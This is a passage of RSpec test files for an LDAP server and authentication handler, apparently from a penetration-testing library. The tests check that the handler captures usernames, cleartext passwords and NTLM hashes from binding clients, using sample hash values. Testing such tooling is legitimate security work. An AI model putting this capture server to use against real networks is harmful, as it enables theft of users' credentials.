expect(result[:domain]).to eq('domain')
expect(result[:private]).to eq('password')
expect(result[:private_type]).to eq(:password)
expect(result[:result_code]).to eq(Net::LDAP::ResultCodeAuthMethodNotSupported)
expect(result[:auth_type]).to eq('Simple')
end
it 'handles authentication requests with incorrect request format' do
user_login.name = 'username'
user_login.authentication = 'password'
result = parameter_auth.handle_simple_request(user_login)
expect(result[:user]).to eq('username')
expect(result[:domain]).to be_nil
expect(result[:private]).to eq('password')
expect(result[:private_type]).to eq(:password)
expect(result[:result_code]).to eq(Net::LDAP::ResultCodeInvalidCredentials)
expect(result[:auth_type]).to eq('Simple')
end
end
context '#handle_sasl_request' do
context 'using GSS-SPNEGO mechanism' do
context 'using LM/NTLM authentication' do
it 'handles NTLM Type1 requests with an NTLM type2 response' do
result = parameter_auth.handle_sasl_request(ntlm_type1)
expect(result[:server_creds]).to be_a(String)
expect(Net::NTLM::Message.parse(result[:server_creds])).to(be_a(Net::NTLM::Message::Type2))
expect(result[:result_code]).to eq(Net::LDAP::ResultCodeSaslBindInProgress)
expect(result[:auth_type]).to eq('SASL')
end
it 'handles NTLM Type3 requests containing client information' do
result = parameter_auth.handle_sasl_request(ntlm_type3)
expect(result[:domain]).to eq('DOMAIN')
expect(result[:user]).to eq('User')
expect(result[:private]).not_to be_nil
expect(result[:private_type]).to eq(:ntlm_hash)
expect(result[:auth_type]).to eq('SASL')
expect(result[:result_code]).to eq(Net::LDAP::ResultCodeAuthMethodNotSupported)
expect(result[:auth_type]).to eq('SASL')
end
end
context 'unsupprted SASL value' do
let(:request) do
auth_message = 'INVALIDSSP'
sasl = ['GSS-SPNEGO'.to_ber, auth_message.to_ber].to_ber_contextspecific(3)
br = [
Net::LDAP::Connection::LdapVersion.to_ber, ''.to_ber, sasl
].to_ber_appsequence(Net::LDAP::PDU::BindRequest)
type1 = [0.to_ber, br, nil].compact.to_ber_sequence.read_ber(Net::LDAP::AsnSyntax)
pdu = Net::LDAP::PDU.new(type1)
pdu.bind_parameters
end
it 'hanldes and unknown SASL header as unsuppoted' do
result = parameter_auth.handle_sasl_request(request)
expect(result[:auth_type]).to eq('SASL')
expect(result[:result_code]).to eq(Net::LDAP::ResultCodeAuthMethodNotSupported)
end
end
end
end
context 'private methods' do
context '#generate_type2_response' do
it 'returns a valid NTLM Type2 message from NTLM Type1 message' do
message = Net::NTLM::Message.parse(ntlm_type1.authentication[1])
result = parameter_auth.send(:generate_type2_response, message)
expect(result).to be_a(String)
end
end
context '#handle_type3_message' do
it 'handles NTLM Type3 message and returns the expected authentication information' do
message = Net::NTLM::Message.parse(ntlm_type3.authentication[1])
result = parameter_auth.send(:handle_type3_message, message)
expect(result[:domain]).to eq('DOMAIN')
expect(result[:user]).to eq('User')
expect(result[:private]).not_to be_nil
expect(result[:private_type]).to eq(:ntlm_hash)
expect(result[:ntlm_ver]).not_to be_nil
end
end
context '#process_ntlm_hash' do
it 'processes NTLM hash from Type3 message and returns the expected information' do
ntlm_info = {
ntlm_ver: NTLM_CONST::NTLM_V2_RESPONSE,
lm_hash: '054ab6f7f2d60c068bf03a4e27d99834',
lm_cli_challenge: '2464587cc5ef2d6c',
nt_hash: '93d3aa55263a1d37931a67a5b54710b8',
nt_cli_challenge: '0101000000000000006e8eed5507da012464587cc5ef2d6c0000000002000c004
4004f004d00410049004e0001000c005300450052005600450052000400160065
00780061006d0070006c0065002e0063006f006d0003002400530045005200560
0450052002e006500780061006d0070006c0065002e0063006f006d0000000000',
domain: "D\x00O\x00M\x00A\x00I\x00N\x00",
user: "U\x00s\x00e\x00r\x00",
host: "W\x00O\x00R\x00K\x00S\x00T\x00A\x00T\x00I\x00O\x00N\x00"
}
result = parameter_auth.send(:process_ntlm_hash, ntlm_info)
expect(result[:domain]).to eq('DOMAIN')
expect(result[:user]).to eq('User')
expect(result[:private]).not_to be_nil
expect(result[:private_type]).to eq(:ntlm_hash)
expect(result[:ntlm_ver]).not_to be_nil
end
end
end
end

View File

@ -0,0 +1,161 @@
# frozen_string_literal: true
require 'rex/text'
RSpec.describe Rex::Proto::LDAP::Server do
subject(:ldif) { nil }
subject(:auth_provider) do
Rex::Proto::LDAP::Auth.new(nil, nil, nil, nil, nil)
end
subject(:server) do
described_class.new('0.0.0.0', 40000, true, true, ldif, nil, auth_provider)
end
let(:response) {}
before do
server.processed_pdu_handler(Net::LDAP::PDU::BindRequest) do |processed_data|
processed_data = 'Processed Data'
end
end
context 'initialize' do
it 'sets the server options correctly' do
expect(server.serve_udp).to eq(true)
expect(server.serve_tcp).to eq(true)
expect(server.sock_options).to include('LocalHost' => '0.0.0.0', 'LocalPort' => 40000, 'Comm' => nil)
expect(server.ldif).to eq(ldif)
expect(server.instance_variable_get(:@auth_provider)).to eq(auth_provider)
expect(server.instance_variable_get(:@auth_provider)).to be_a(Rex::Proto::LDAP::Auth)
end
end
describe '#running?' do
context 'when the server is not running' do
it 'returns false' do
expect(server.running?).to be_nil
end
end
context 'when the server is running' do
before { server.start }
it 'returns true' do
expect(server.running?).not_to be_nil
end
after { server.stop }
end
end
describe '#start' do
context 'start server with the provided options' do
before { server.start }
it 'starts the UDP server if serve_udp is true' do
if server.serve_udp
expect(server.udp_sock).to be_a(Rex::Socket::Udp)
expect(server.running?).to be true
end
end
it 'starts the TCP server if serve_tcp is true' do
if server.serve_tcp
expect(server.tcp_sock).to be_a(Rex::Socket::TcpServer)
expect(server.running?).to be true
end
end
after { server.stop }
end
end
describe '#stop' do
before { server.start }
it 'stops the server when running' do
server.stop
expect(server.running?).to be nil
end
end
describe '#dispatch_request' do
it 'calls dispatch_request_proc if it is set' do
client = double('client')
allow(client).to receive(:peerhost) { '1.1.1.1' }
allow(client).to receive(:peerport) { '389' }
allow(client).to receive(:write).with(response)
allow(client).to receive(:close)
block_called = false
server.dispatch_request_proc = proc { block_called = true }
server.dispatch_request(client, 'LDAP request data')
expect(block_called).to be true
end
it 'calls default_dispatch_request if dispatch_request_proc is not set' do
client = double('client')
allow(client).to receive(:peerhost) { '1.1.1.1' }
allow(client).to receive(:peerport) { '389' }
allow(client).to receive(:write).with(any_args)
allow(client).to receive(:close)
expect { server.dispatch_request(client, String.new("02\x02\x01\x01`-\x02\x01\x03\x04\"cn=user,dc=example,dc=com\x80\x04kali").force_encoding('ASCII-8BIT')) }.not_to raise_error
end
end
describe '#default_dispatch_request' do
it 'returns nil for empty request data' do
client = double('client')
allow(client).to receive(:peerhost) { '1.1.1.1' }
allow(client).to receive(:peerport) { '389' }
allow(client).to receive(:write).with(any_args)
allow(client).to receive(:close)
data = ''
expect { server.default_dispatch_request(client, data) }.not_to raise_error
end
end
describe '#encode_ldap_response' do
it 'encodes an LDAP response correctly' do
msgid = 1
code = Net::LDAP::ResultCodeSuccess
dn = ''
msg = Net::LDAP::ResultStrings[Net::LDAP::ResultCodeSuccess]
tag = Net::LDAP::PDU::BindResult
context_data = nil
context_code = nil
response = server.encode_ldap_response(msgid, code, dn, msg, tag, context_data, context_code)
expect(response).to be_a(String)
end
end
describe '#search_result' do
context 'when searching with no LDIF data' do
it 'returns a random search result' do
result = server.search_result(nil, 1)
expect(result).to be_nil
end
end
end
describe '#processed_pdu_handler' do
it 'sets the processed_pdu_handler correctly' do
expect(server.instance_variable_get(:@pdu_process)[Net::LDAP::PDU::BindRequest]).to be_a(Proc)
expect((server.instance_variable_get(:@pdu_process)[Net::LDAP::PDU::BindRequest]).call({})).to eq('Processed Data')
end
end
describe '#suitable_response' do
it 'returns the appropriate response type for a given request type' do
expect(server.suitable_response(Net::LDAP::PDU::BindRequest)).to eq(Net::LDAP::PDU::BindResult)
expect(server.suitable_response(Net::LDAP::PDU::SearchRequest)).to eq(Net::LDAP::PDU::SearchResult)
end
end
end